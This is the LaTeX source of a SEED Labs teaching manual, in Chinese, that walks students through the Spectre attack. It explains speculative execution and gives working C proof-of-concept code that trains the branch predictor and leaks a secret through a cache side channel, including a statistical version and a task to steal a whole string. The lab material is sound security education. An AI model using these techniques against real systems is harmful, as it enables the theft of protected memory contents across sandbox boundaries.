%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}

\lhead{\bfseries SEED Labs -- Spectre 攻击实验}

\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}}

\begin{document}

\newcommand{\spectreFigs}{./Figs}

\begin{center}
{\LARGE Spectre 攻击实验}
\end{center}

\seedlabcopyright{2018}

% *******************************************
% SECTION
% ******************************************* 
\section{概述}

Spectre 攻击在 2017 年被发现并在 2018 年 1 月被公之于众，其利用了许多现代处理器（包括 Intel、AMD 和 ARM）中存在的严重漏洞。这些漏洞允许程序打破进程间与进程内的隔离，因此恶意程序可以读取它无法访问的数据区域。这种访问通常被硬件保护机制（对进程间进行隔离）或软件保护机制（对进程内进行隔离）所禁止，但 CPU  设计中的这个漏洞可以使这些保护失效。由于这个问题存在于硬件中，除非更换计算机中的 CPU，否则很难从根本上解决这个问题。Spectre 漏洞是 CPU 设计上的一个有代表性的漏洞，它和 Meltdown 漏洞为安全教育提供了宝贵的经验教训。

此次实验的学习目标是让学生们亲身体验 Spectre 攻击。尽管攻击本身非常复杂，但我们会将其分解为几个小步骤，每个步骤都很容易理解并执行。一旦学生了解了每个步骤，他们应该能够将所有内容组合起来完成实际攻击。本实验涵盖了以下主题：

\begin{itemize}[noitemsep]
  \item Spectre 攻击
  \item 侧信道攻击
  \item CPU 缓存
  \item 乱序执行和 CPU 微架构中的分支预测
\end{itemize}

\paragraph{阅读材料与视频}
有关 Spectre 攻击的详细内容可以在以下资料中找到：

\begin{itemize}
  \item SEED 书籍第14章，\seedbook
  \item SEED 讲座第8节，\seedcsvideo
\end{itemize}

\paragraph{实验环境} 本实验在我们预先构建好的 Ubuntu 16.04 和 Ubuntu 20.04 VM（可以从我们的 SEED 网站中下载）当中都测试可行。

在进行此实验时，请注意以下几点：首先，尽管 Spectre 漏洞是 Intel、AMD 和 ARM CPU 共同的设计缺陷，我们只测试了在 Intel CPU 上的效果。其次，Intel 正在努力修复他们的 CPU 中的这个问题，因此如果学生的计算机使用的是新型 Intel CPU，攻击可能不会生效。截至 2023 年 5 月，大多数学生没有问题，但随着时间的推移可能会出现问题。

\paragraph{致谢} 本实验的设计得到了纽约雪城大学电气工程与计算机科学系的研究生 Kuber Kohli 和 Hao Zhang 的帮助。

% *******************************************
% SECTION
% ******************************************* 
%\section{代码编译}
%\section{任务1-2：边缘渠道攻击}

\newcommand{\sideChannelFigs}{../Meltdown_Attack/Figs}
\input{../Meltdown_Attack/Side_Channel_Attack.tex}

% *******************************************
% SECTION
% ******************************************* 
\section{任务 3：乱序执行与分支预测}

本任务的目的是了解 CPU 中的乱序执行。我们将通过实验帮助学生观察这种类型的执行过程。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{乱序执行} 

Spectre 攻击依赖于大多数 CPU 实现的一个重要特性。为了理解这一特征，我们来看看以下代码。这段代码检查 \texttt{x} 是否小于 \texttt{size}，如果是，则变量 \texttt{data} 将被更新。假设 \texttt{size} 的值为 10，因此当 \texttt{x} 等于 15 时，第 3 行的代码不会被执行。

\begin{lstlisting}
1  data = 0;
2  if (x < size) {   
3     data = data + 5; 
4  }
\end{lstlisting}

从 CPU 外部角度来观察这段代码，上述陈述是正确的。然而，如果我们深入到 CPU 的微架构层面查看执行顺序，则会发现即使 \texttt{x} 大于 \texttt{size}，第 3 行也可能被执行。这是因为现代 CPU 采用了一种重要的优化技术，称为乱序执行。乱序执行是一种优化技术，它允许 CPU 最大化利用所有的执行单元。只要指令所需要的数据已经准备好了，CPU 会并行地执行它们，而不是严格按照顺序来执行指令。

在上述代码示例中，在微架构级别，第 2 行涉及两个操作：从内存加载 \texttt{size} 的值，以及比较该值与 \texttt{x} 的值。如果 \texttt{size} 不在 CPU 缓存中，则可能需要数百个 CPU 时钟周期才能读取其值。现代 CPU 不会闲置地等待比较的结果，而是预测比较的结果，并基于预测来执行相应的分支。由于这种指令的执行没有等前一个指令的结束就开始了，因此被称为乱序执行，在这里，这种乱序执行也叫推测性执行。在进行乱序执行之前，CPU 会存储其当前状态和寄存器的值。当 \texttt{size} 的值最终到达时，CPU 将检查实际结果。如果预测是对的话，则推测性执行的操作会被接受，从而节省了时间。如果预测是错误的，CPU 将恢复到其保存的状态，所有由乱序执行产生的结果都会被丢弃，就好像从未发生过一样。这就是为什么从外部来看，我们是看不到第 3 行被执行了的。图~\ref{spectre:fig:spectre} 展示了由于示例代码中的第 2 行引起的乱序执行。

\begin{figure}[htb]
  \centering
  \includegraphics[width=0.75\textwidth]{\spectreFigs/spectre.pdf}
  \caption{推测性执行（乱序执行）}
  \label{spectre:fig:spectre}
\end{figure}

Intel 和其他几家 CPU 制造商在设计乱序执行时犯了一个严重的错误。如果提前执行的指令不应该被执行，那么他们应当清除乱序执行在寄存器和内存的痕迹，因此该执行不会产生任何可见效果。然而，他们忘记了缓存的影响。在乱序执行期间，被使用的内存会被存储在缓存中。如果乱序执行的结果需要被丢弃，则由该执行引起的缓存操作也应该被清除。不幸的是，在大多数 CPU 中并非如此。因此这就会产生可观察的痕迹。使用任务 1 和 2 中的侧信道技术，我们可以观察到这些痕迹。Spectre 攻击巧妙地利用了这种可观测的痕迹来找到受保护的秘密值。

%\paragraph{关于推测性执行的更多细节？} 为了了解推测性执行的好处，让我们看看一些数据。
%当微处理器从主内存（即RAM）读取时，读取时间约为60纳秒（60亿分之一秒）。尽管对人类而言这看起来非常快，
%但对微处理器来说却是一个很长的时间。微处理器的时钟周期可以短至2纳秒。这个时钟周期是指一次RAM访问与下一次
%开始新访问之间的时间间隔，而时钟周期是每秒内的周期数。因此，对于具有2纳秒时钟周期的微处理器而言，
%60纳秒读取时间实际上是相当长的一段时间。
%二级缓存通常至少比RAM快两倍，而L1缓存直接构建在微处理器中，所以读取速度接近于微处理器的速度。

% -------------------------------------------
% 子节
% ------------------------------------------- 
\subsection{实验}

在这个任务中，我们将使用一个实验来观察由乱序执行引起的效果。用于该实验的代码如下所示。

\begin{lstlisting}[caption=\texttt{SpectreExperiment.c}, label=spectre:list:outoforder]
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;

void victim(size_t x) 
{
  if (x < size) {                          (*@\ding{192}@*)
     temp = array[x * 4096 + DELTA];       (*@\ding{193}@*)
  }
}

int main() 
{
  int i;

  // 将探测数组的缓存清除
  flushSideChannel();

  // 训练 CPU 使其在 victim() 中选择正确的分支
  for (i = 0; i < 10; i++) {               (*@\ding{194}@*)
      victim(i);                           (*@\ding{195}@*)
  }

  // 利用乱序执行 
  _mm_clflush(&size);                      (*@\ding{80}@*)
  for (i = 0; i < 256; i++)  
      _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);                              (*@\ding{196}@*)

  // 重新加载探测数组
  reloadSideChannel();
  return (0);
}
\end{lstlisting}

为了使 CPU 进行推测性执行，它们需要能够预测 if 条件的结果。CPU 会记录每个分支在过去选择情况，然后用这些历史记录来预测在推测性执行中应选取哪个分支。因此，如果我们希望 CPU 在推测性执行中选取某个特定的分支，我们应当训练 CPU，使得该分支成为预测结果。该训练在第 \ding{194} 行的循环里执行。在循环内部，我们调用 victim() 函数并传递一个较小的参数（从 0 到 9）。这些值都小于 \texttt{size} 的值，因此第\ding{192}行当中的 if 条件总是真，条件是真的分支总是被执行。我们通过训练 CPU，来让它在后面的预判中选择条件是真的分支。

一旦 CPU 进行了训练，我们将一个较大的值（97）传递给 victim() 函数（第\ding{196}行）。这个值大于 size 的值，所以在实际执行中，if 条件会是假而非为真。然而我们已经清除了内存中的变量 size，因此获取其值需要一些时间。这时 CPU 就会通过预测来推测性执行后面的指令。

% -------------------------------------------
% 子节
% ------------------------------------------- 
\subsection{任务 3} 

请编译显示在Listing~\ref{spectre:list:outoforder}（参见Section~\ref{sidechannel:sec:compilation} 中的编译说明）的 SpectreExperiment.c 程序，运行该程序并描述观察结果。由于 CPU 中的一些其他缓存可能会导致侧信道中的噪声，我们稍后会减少这种噪声，但目前我们可以多次运行这个程序来观察效果。当 97 被传递给 victim() 时，观察第\ding{193}行是否被执行。请完成以下操作：

\begin{itemize}
  \item 注释掉标记为\ding{80}的行并重新执行一次。解释观察结果。完成后，请不要注释这行，以免影响后续任务。
  \item 将第\ding{195}行替换为 victim(i + 20)，重新编译代码并解释观察结果。
\end{itemize}

% *******************************************
% SECTION
% ******************************************* 
\section{任务 4：Spectre 攻击}

如前所述，我们可以让 CPU 在 if 语句中的条件为假时去执行条件为真的分支。如果这种乱序执行不产生任何可见效果，则不会出现问题。然而，大多数具有此功能的 CPU 在清理缓存上有问题，因此一些推测性执行留下的痕迹依然存在。Spectre 攻击利用这些痕迹来窃取受保护的秘密。

这些秘密可能是另一个进程中的数据或同一进程中的一部分。如果是另一个进程中的数据，硬件级别的过程隔离将会阻止一个进程从另一个进程窃取数据。如果数据在同一个进程中，则保护措施通常通过软件来实现，例如沙箱机制。Spectre 攻击针对这两种类型的秘密都可以发起攻击，但是，从另一个进程窃取数据远比从同一个进程中更难。为了简化起见，本实验只关注从同一进程中窃取数据。

当浏览器中打开不同服务器的网页时，这些网页通常在同一个进程中打开。浏览器内部实现的沙箱将为这些页面提供隔离环境，因此一个页面无法访问另一个页面的数据。大多数软件保护依赖于条件检查来决定是否应该授予访问权限。利用 Spectre 攻击，即使条件检查失败，我们也可以让 CPU 乱序执行一个受保护的代码分支，从而绕过了访问控制。

% -------------------------------------------
% 子节
% ------------------------------------------- 
\subsection{实验配置}

\begin{figure}[htb]
  \centering
  \includegraphics[width=0.7\textwidth]{\spectreFigs/buffer_new.pdf}
  \caption{实验配置：缓冲区和受保护的秘密}
  \label{spectre:fig:buffer}
\end{figure}

图~\ref{spectre:fig:buffer} 展示了实验的配置。在这一配置中，有两种类型的区域：受限区域和非受限区域。对区域的限制是通过沙箱函数中的 if 条件来实现的。沙箱函数返回 buffer[x] 的值，前提条件是用户提供的 x 值必须在允许的范围之内，也就是非受限区域。当用户想访问受限区域时，该沙箱函数只会返回 0。

\begin{lstlisting}
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};

// 沙箱函数
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  }
}
\end{lstlisting}

受限区域内有一个秘密值（在缓冲区上方或下方），攻击者知道该秘密的地址，但无法直接访问存储秘密值的内存。唯一可以访问秘密的方法是通过上述沙箱函数。从上一节我们了解到，尽管当 x 大于缓冲区大小时真分支永远不会被执行，但是在微架构层面它仍然可以被执行，并且在执行结果被丢弃后会留下一些痕迹。

% -------------------------------------------
% 子节
% ------------------------------------------- 
\subsection{实验中使用的程序}

Spectre 攻击的代码如下所示。在这段代码中，定义了一个秘密值（第\ding{192}行）。假设我们不能直接访问 secret，也不能修改 bound\_lower 或 bound\_upper 变量（但我们假设可以清除这两个边界变量的缓存）。我们的目标是利用 Spectre 攻击打印出秘密值。以下代码仅窃取秘密值的第一个字节。学生们可以扩展它以输出更多字节。

\begin{lstlisting}[caption=\texttt{SpectreAttack.c}, label=spectre:list:spectreattack]
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char    *secret    = "Some Secret Value";     (*@\ding{192}@*)
uint8_t array[256*4096];

// 沙箱函数
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else { return 0; }
}

void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;

  // 训练 CPU 使得其在 restrictedAccess() 中预测真分支。
  for (i = 0; i < 10; i++) {
      restrictedAccess(i);
  }

  // 清除缓存中的 bound_upper、bound_lower 和 array[]。
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {   }

  s = restrictedAccess(index_beyond);      (*@\ding{193}@*)
  array[s*4096 + DELTA] += 88;             (*@\ding{194}@*)         
}

int main() {
  flushSideChannel();
  size_t index_beyond = (size_t)(secret - (char*)buffer);  (*@\ding{195}@*)
  printf("secret: %p \n", secret);
  printf("buffer: %p \n", buffer);
  printf("index of secret (out of bound): %ld \n", index_beyond);
  spectreAttack(index_beyond);
  reloadSideChannel();
  return (0);
}
\end{lstlisting}

大部分代码与Listing~\ref{spectre:list:outoforder} 中的内容相同，因此我们不在这里赘述。最重要的部分是第 \ding{193}、\ding{194} 和 \ding{195} 行。第 \ding{195} 行计算了 \texttt{secret} 从缓冲区起始位置的偏移量（假设攻击者知道 \texttt{secret} 的地址；在实际攻击中，攻击者有许多方法可以推断出该地址，包括猜测）。这个偏移量肯定超出了缓冲区范围，因此它会大于缓冲区的上限或小于下限（即负数）。我们把偏移量传给 restrictedAccess() 函数。由于我们已经训练了 CPU，使其在 restrictedAccess() 中的推测性执行选择真分支，CPU 将在推测性执行中返回 buffer[index\_beyond]，该值包含了秘密值。这个秘密值随后导致其对应元素的 array[] 被加载到缓存中。所有这些步骤最终都会被撤销，所以从外部来看，restrictedAccess() 仅返回 0 而非秘密值。然而，缓存未被清除，并且 array[s*4096 + DELTA] 仍然保持在缓存中。现在我们只需要使用侧信道技术来确定哪个元素的 array[] 处于缓存中，就可以推测出 s 的值。

\paragraph{任务} 请编译并执行 SpectreAttack.c 程序。描述观察结果，注意您是否能够窃取秘密值。如果侧信道噪声很大，每次运行可能会得到不一致的结果。为克服这一问题，请多次运行程序，并查看是否能获取到秘密值。

% *******************************************
% SECTION
% ******************************************* 
\section{任务 5：提高攻击准确性}

在先前的任务中，我们可能会观察到结果具有一定的噪音且并非总是准确的。这是因为 CPU 有时会加载其它的值到缓存中以备将来使用，或者阈值不够准确。这种缓存中的噪音会影响我们的攻击结果。我们需要多次进行攻击。与其手动执行此任务，我们可以使用以下代码自动完成。

我们利用了一种统计技术。其想法是创建一个大小为 256 的分数数组，每个可能的秘密值对应一个元素。然后我们多次运行攻击。每次如果我们的攻击程序表示 k 是秘密值（这结果可能是错的），则我们将 1 加到 scores[k] 中。多次运行攻击后，我们使用具有最高分数的 k 作为最终估计的秘密值。这比单一运行更为可靠。修改后的代码如下所示。

%一个噪音的原因是我们
%按顺序探查数组以读取侧信道。到目前为止，我们是顺序读取array。
%为了提高性能，CPU加载了大量的array中的值到缓存中。为了避免这一点，
%我们在第\ding{192}行使用了代码。这段代码简单地将一个在0至255之间且不会重复的值赋给random_i。
%由于随机选择该值，CPU不加载额外的数据进入缓存减少噪音。

\begin{lstlisting}[caption=\texttt{SpectreAttackImproved.c}]
static int scores[256];

void reloadSideChannelImproved()
{
  ......
  for (i = 0; i < 256; i++) {
     ......
     if (time2 <= CACHE_HIT_THRESHOLD)
        scores[i]++; /* 如果缓存命中，则为该值加1 */
  }
}

void spectreAttack(size_t index_beyond)
{
  ... 省略：与 SpectreAttack.c 相同 ...
}

int main() {
  int i;
  uint8_t s;
  size_t  index_beyond = (size_t)(secret - (char*)buffer);

  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;

  for (i = 0; i < 1000; i++) {
    printf("*****\n");                 (*@\ding{192}@*)
    spectreAttack(index_beyond);
    usleep(10);                        (*@\ding{193}@*)
    reloadSideChannelImproved();
  }

  int max = 0;                     
  for (i = 0; i < 256; i++){
   if(scores[max] < scores[i])
     max = i;
  }

  printf("Reading secret value at index %ld\n", index_beyond);
  printf("The  secret value is %d(%c)\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
}
\end{lstlisting}

\paragraph{任务。} 请编译并运行 SpectreAttackImproved.c 程序，并完成以下任务：

\begin{itemize}
  \item 您可能会观察到，在运行上述代码时，最高分数很可能是 scores[0]。请找出为什么，并修改上述代码使实际的秘密值（不为零）被打印出来。
  
  \item 第\ding{192}行看似无用，但从我们在 SEED Ubuntu 20.04 进行实验的经验来看，在没有这一行的情况下攻击将不会起作用。在SEED Ubuntu 16.04 VM 虚拟机上则不需要这行代码。我们还没有找出确切原因，所以如果您能解决这个问题，建议指导老师给予额外分。请运行带有和不带此行代码的程序，并描述观察结果。

  \item 第\ding{193}行使程序休眠 10 微秒。程序休眠的时间长短也会影响攻击的成功率。请尝试其他几个值并描述观察结果。
\end{itemize}

% *******************************************
% SECTION
% ******************************************* 
\section{任务 6：窃取整个秘密字符串}

在前一任务中，我们只读取了 secret 字符串的第一个字符。在这个任务中，我们需要使用 Spectre 攻击打印出整个字符串。请编写您的代码或扩展 Task 5 的代码；将执行结果包含在报告中。

% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\bibliographystyle{plain}
\def\baselinestretch{1}
\bibliography{BibMeltdownSpectre}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\end{document}